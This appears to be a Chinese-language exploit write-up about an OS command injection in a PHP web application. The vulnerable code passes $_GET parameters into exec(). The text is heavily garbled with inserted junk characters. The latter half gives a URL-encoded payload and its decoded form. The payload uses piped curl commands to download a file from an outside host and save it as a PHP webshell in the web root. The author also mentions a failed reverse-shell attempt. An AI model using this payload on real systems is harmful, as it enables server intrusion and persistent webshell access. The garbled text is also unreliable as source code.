7 v# f( X% q0 c$ Y* Q* h% y, y. u( x6 [+ H- u, H6 ?* n% w
$cmd .= # {. z7 b. b T. B' X. r" " . $_GET ["objClass"]; 0 X9 a G# a; f2 t+ s3 u1 e: i4 j. @) C
+ M& r" d- X/ R5 ~7 J ; ]( t" f8 N6 T0 O0 o0 i, |3 e $cmd .= 0 E8 R. @8 v3 d, V+ \3 M" " . $_GET ["method"];3 J- q h+ e/ q$ J' X D" D' D
" u/ L2 b! b4 ^" ^7 |
. c+ k6 x0 P' F! b6 b1 y8 x
* L# `& a# I! }
$cmd .=* V8 e% E; n6 K
" " . base64_encode ( json_encode ( $param ) ); K0 m5 O" Q+ ^ e0 V& y7 V0 J) Z* c1 @' x
P* ^1 ~5 m% A* p
- K6 m% g% L& L8 B2 J2 u7 d" Z6 U
[file_put_contents("/tmp/query_cmd",$cmd);]() }7 M e: F9 t8 v! S( i0 E ; }. t( \5 Z9 E6 g$ a3 a+ h ) M0 c# h6 z8 O$ ~& P/ d$ c 2 v# A; I8 R& U# q exec ( $cmd . " 0 g5 d- N4 F1 u5 }6 N% K> /dev/null &" ); 9 W, {4 Q2 w) w' a0 g; e. m) a
" K' z4 A8 Z1 `2 Z 5 c" |& w% S! F2 Q, m6 @3 M0 L( s; a; Z& r8 U
" g4 w/ i& m K7 I% D+ g& S
} else { / I7 V5 j1 K) B: B/ @+ H# e: z; ], O" }2 p @# _) V
. ^/ q$ U$ [* `3 |+ }0 K5 ?1 l4 |5 ]5 S; d% N
require_once ( W4 F2 O! y; i1 G( q2 i. X($_SERVER ["DOCUMENT_ROOT"] . "system/behavior/behavior_Detail.php");0 M2 C. x' ~: t1 N+ A
* H5 P, S5 j+ H& |2 Z# v+ _: K' k1 c2 J7 u
: X0 J7 D7 L, M2 R' A) n $obj = new% X. V# S. i, U/ X9 O
QueryInterface (); " a( k" u' R' {6 g j: w0 F% v, A3 P6 T2 r' U2 {
2 p5 C+ H6 G9 q ( C, O4 y, B+ W $instance =" h% R) O& ]* R J/ D- P. J0 K8 o
$obj->getInstance (); . W8 i; ?$ ^: ^6 ~ 1 R" `7 t5 @+ |% u0 l$ G6 v" x2 Q; G5 c0 ]8 g6 o4 o
5 Q0 T8 a6 }( Z! ^) d- Q% `6 R
$instance->invokeMethod; p1 K! P# `2 I4 Q2 C- a
( $_GET ["objClass"], $_GET ["method"], $param );* @0 j5 G1 E' h( q
z- A- L& x: r + W' T; L; t5 u( H4 q5 `' G6 d" u
} 9 H1 x9 i4 g [6 {$ F, \& d* f 3 ]) d: e8 h6 l0 k9 K7 ? 1 `$ ^9 T: O `+ m+ B1 }3 l% p( @! Z+ L9 H9 [4 h' m
exit (); + F6 N: `4 |7 ~: v! [! Z8 a* G$ M7 s/ E
+ A9 Z/ l# f4 U( X+ A
- l& y0 n& n1 g1 A?> $ c1 |. P! [) N3 i9 `/ t: B( y {. ` 9 g( y8 K' b3 C' G# ?. j**经常简单审计发现if ($_GET3 K( T3 s# T& j4 h: t
["method"] == "getList" || $_GET ["method"] ==6 n( v! n% B1 I
"import" || $_GET ["method"] == "[processAlarm]()"),如果method只要等于getList、import、processAlarm这其中一个,$cmd =9 G2 S* A, P& K/ l6 F) ~: L
"/usr/local/php/bin/php ".$_SERVER ["DOCUMENT_ROOT"] .9 q' l" u! r m1 p$ H! l4 E# q H
"[system/behavior/behavior_query.php]()"; cmd等于web绝对路径+ system/behavior/behavior_query.php,然后file_put_contents("/tmp/query_cmd",$cmd);** $ p0 {$ C. V( t4 R( z: B" p0 F Z) r5 ~: Z, z& m0 U4 U+ `1 A** exec ( $cmd 8 P8 A* u6 Z( p c* I$ p. " > /dev/null &" );** **给我们构造了一个命令注入的参数,这里直接造成了OS命令注入漏洞,下面看我演示** 5 k0 r( ]: S+ K C! C9 g7 @4 M9 X& C6 [ v0 `, M' B4 W$ ^) S; D
; O1 \; N, j+ p# i3 L. ~/ o( h$ @ H( o/ D5 U9 C
( v- `; q; u4 o8 I" F
; \) A9 ?* o( z7 ]* W# R1 W/ P
, B3 G$ K# W7 t1 O/ t' ~**图中objClass=存在OS命令注入漏洞,我之前试图通过bash反弹shell,但是测试了一晚上没反弹成功,最后选择了curl下载webshell,payload如下:** , h) B+ x/ r5 {% l J ; A2 ?, ~" W: W0 A( P**%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60pcurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%27%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%7C%7C%60curl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php%60%20%23%5C%22%20%7Ccurl%20http%3A%2F%2F1.1.1.1%2FqYCwxRz1.zip%20-o%20%2Fvar%2Fwww%2Fhtml%2Fimages%2Fsuiji2.php** : e- m9 L+ S, j1 s$ K: | , S# w* I1 V& s9 l" i+ z**我们用url解码如下:** : t. V( U- o, t7 H4 i l7 u6 w1 p: ~4 N- l. j( `: L% `, h
**|curl http://1.1.1.1/qYCwxRz1.zip -o2 k% c8 @7 [3 s
/var/www/html/images/suiji2.php||`pcurl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #' |curl http://1.1.1.1/qYCwxRz1.zip -o6 Y, p' W2 q( U% P9 ?
/var/www/html/images/suiji2.php||`curl http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php` #\" |curl ** [**http://1.1.1.1/qYCwxRz1.zip -o /var/www/html/images/suiji2.php**](http://8.136.218.186/qYCwxRz1.zi ... l/images/suiji2.php) 2 c; a0 @: G3 Z, q, D; y/ y R& e 9 K% G6 [: h M. P/ w- F4 r**使用这么多管道符|就是要闭合payload,最后成功curl下载webshell如图:** . \4 F) R, U+ t$ s/ f, _1 L; a# u# ]$ h# ^8 r